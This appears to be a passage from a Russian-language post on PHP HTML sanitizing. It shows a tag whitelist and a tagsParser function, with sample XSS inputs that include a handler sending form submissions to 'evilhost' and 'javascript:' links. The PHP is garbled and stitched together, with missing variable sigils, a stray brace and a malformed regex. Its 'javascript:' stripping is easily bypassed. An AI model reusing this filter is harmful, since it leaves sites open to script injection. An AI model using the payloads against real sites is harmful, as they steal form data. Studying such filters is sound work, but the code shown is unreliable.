<anytag onCобытие='document.forms[0].action="http://evilhost/form.php";'>

<a onmouseover='alert("Привет, дружище!");' href="http://yandex.ru">Поисковая система</a>

$allowed_tags = array(
        array('b', true),
        array('i', true),
        array('u', true),
        array('s', true),
        array('strong', true),
        array('em', true),
        array('strike', true),
        array('big', true),
        array('small', true),
        array('h1', true),
        array('h2', true),
        array('h3', true),
        array('h4', true),
        array('h5', true),
        array('h6', true),
        array('abbr', true, array(array('title', true))),
        array('acronym', true),
        array('blockquote', true),
        array('br', false),
        array('p', true),
        array('sub', true),
        array('sup', true),
        array('ul', true),
        array('ol', true),
        array('li', true),
        array('a', true, array(array('href', true, '[\/:a-z0-9-.?=&]+?'), array('title', false))),
        array('img', false, array(array('src', true, '[\/:a-z0-9-.?=&]+?'), array('alt', false)))
    );

function tagsParser($str)
    {
        if (!is_string($str))
           return false;


        foreach (allowed_tags as $value) {
            $regexp_attributes = '';

            $pattern_attributes = '';

            $i = 1;

            if (isset($value[2]) && is_array($value[2])) {
                foreach ($value[2] as $attr) {
                    if (isset($attr[2]))
                        $val = '('.$attr[2].')';
                    else
                        $val = '(.*?)';

                    if ($attr[1]) {
                        $regexp_attributes .= ' '.$attr[0].'="'.$val.'"';
                        $pattern_attributes .= ' '.$attr[0].'="$'.$i.'"';

                        $i++;
                    } else {
                        $regexp_attributes .= '( '.$attr[0].'=")?'.$val.'(")?';

                        $i++;

                        $pattern_attributes .= ' '.$attr[0].'="$'.$i.'"';

                        $i+=2;
                    }
                }
            }

            if ($value[1]) {
                $regexp = '/<'.$value[0].$regexp_attributes.'>(.*?)<\/'.$value[0].'>/is';
                $pattern = '<'.$value[0].$pattern_attributes.'>$'.$i.'</'.$value[0].'>';
            } else {
                $regexp = '/<'.$value[0].$regexp_attributes.'(\s?)(\/?)&gt/is';
                $pattern = '<'.$value[0].$pattern_attributes.' />';
            }

            $str = preg_replace($regexp, $pattern, $str);
        }

        $str = str_ireplace('javascript:', '', $str);

        return $str;
    }
}

<a href='javascript:alert("Привет, дружище!");'>Супер-ссылка!</a>

  $str = str_ireplace('javascript:', '', $str);